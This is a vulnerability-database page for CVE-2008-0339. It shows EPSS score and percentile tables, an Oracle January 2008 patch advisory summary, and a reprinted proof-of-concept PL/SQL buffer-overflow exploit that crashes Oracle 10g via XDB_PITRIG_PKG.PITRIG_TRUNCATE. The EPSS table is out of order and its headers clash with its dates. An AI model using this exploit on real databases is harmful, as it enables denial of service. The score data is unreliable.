CVE-2008-0339 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	15.68%	–	–
2022-04-03	–	–	15.68%	–	–
2023-03-12	–	–	–	17.78%	–
2023-07-30	–	–	–	19.46%	–
2023-09-03	–	–	–	18.72%	–
2023-10-08	–	–	–	16.13%	–
2023-12-24	–	–	–	18.35%	–
2024-03-03	–	–	–	16.59%	–
2024-04-07	–	–	–	15.5%	–
2024-06-02	–	–	–	15.5%	–
2024-06-02	–	–	–	15.5%	–
2024-06-23	–	–	–	15.12%	–
2024-09-08	–	–	–	12.12%	–
2024-10-13	–	–	–	11.49%	–
2024-11-24	–	–	–	11.09%	–
2024-12-22	–	–	–	46.95%	–
2025-03-16	–	–	–	47.32%	–
2025-01-19	–	–	–	46.95%	–
2025-03-18	–	–	–	–	30.71%
2025-03-30	–	–	–	–	27.19%
2025-03-30	–	–	–	–	27.19,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	93%
2022-04-03	96%
2023-03-12	95%
2023-07-30	96%
2023-09-03	96%
2023-10-08	95%
2023-12-24	96%
2024-03-03	96%
2024-04-07	96%
2024-06-02	96%
2024-06-02	96%
2024-06-23	96%
2024-09-08	95%
2024-10-13	95%
2024-11-24	95%
2024-12-22	98%
2025-03-16	98%
2025-01-19	98%
2025-03-18	96%
2025-03-30	96%
2025-03-30	96%

source: https://www.securityfocus.com/bid/27229/info Oracle has released its critical patch update for January 2008. The advisory addresses 26 vulnerabilities affecting Oracle Database, Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle Enterprise Manager, and Oracle People Soft Enterprise. The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly compromise affected computers. /******************************************************************/ /******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE *********/ /******* BUFFER OVERFLOW *********/ /******************************************************************/ /************ POC exploit , Crash database **************/ /******************************************************************/ /****************** BY Sh2kerr (Digital Security) ***************/ /******************************************************************/ /***************** tested on oracle 10.1.0.2.0 *******************/ /******************************************************************/ /******************************************************************/ /* Date of Public EXPLOIT: January 28, 2008 */ /* Written by: Alexandr "Sh2kerr" Polyakov */ /* email: Alexandr.Polyakov@dsec.ru */ /* site: http://www.dsec.ru */ /******************************************************************/ /* Original Advisory by: */ /* Alexandr Polyakov [ Alexandr.Polyakov@dsec.ru] */ /* Reported: 18 Dec 2007 */ /* Date of Public Advisory: January 15, 2008 */ /* Advisory: http://www.oracle.com/technology/deploy/ */ /* security/critical-patch-updates/cpujan2008.html */ /* */ /******************************************************************/ /* thanks to oraclefun for his pitrig_dropmetadata exploit */ /* */ /******************************************************************/ set serveroutput on declare buff varchar2(32767); begin /* generate evil buffer */ buff:='12345678901234567890123456789'; buff:=buff||buff; buff:=buff||buff; buff:=buff||buff; buff:=buff||buff; buff:=buff||buff; buff:=buff||'0012345678901234567890123sh2kerr'; /* lets see the buffer size */ dbms_output.put_line('SEND EVIL BUFFER SIZE:'||Length(buff)); xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff); end; / /* P.S. xDb.XDB_PITRIG_PKG.PITRIG_DROP is also vulnerable */ /******************************************************************/ /*************************** SEE U LATER ;) ***********************/ /******************************************************************/